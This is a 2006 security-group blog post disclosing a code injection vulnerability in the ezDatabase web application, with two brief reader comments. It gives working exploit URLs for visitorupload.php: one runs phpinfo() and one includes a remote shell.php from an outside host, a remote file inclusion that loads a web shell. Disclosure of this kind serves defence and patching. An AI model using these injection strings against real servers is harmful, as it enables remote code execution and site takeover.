by r0t,der4444,cembo,VietMafia

Saturday, January 14, 2006

ezDatabase 2.0 and below

ezDatabase 2.0 and below
=========================================
www.ezdatabase.org
"ezDatabase is the foundation for your online databases. It is a powerful web based application that allows even non-technical users to create online databases for their website. ezDatabase will do the hard work while you concentrate on building the databases you want."

______________________________________________
This vulnerability was first disclosed at:
www.unsecured-systems.com/forum/
By Pridels Team: pridels.blogspot.com

______________________________________________
Details:
This application insecurely uses variables in several ways.
Example:
visitorupload.php?db_id=;phpinfo()
visitorupload.php?db_id=;include(_GET[test])&test=http://www.unsecured-systems.com/forum/shell.php

registered_globals = on OR off

Solution:
Rewrite the application to follow the guidelines of the PHP Security Consortium

At this time there are several more vulnerabilites that have only been disclosed at:
www.unsecured-systems.com/forum/

2 Comments:

Anonymous Anonymous told...

รจ stupendo

8:39 PM

 
Anonymous Anonymous told...

you guys are l4me 4sses

11:28 PM

 

Post a Comment

<< Home

 
Copyright (c) 2006 Pridels Sec Crew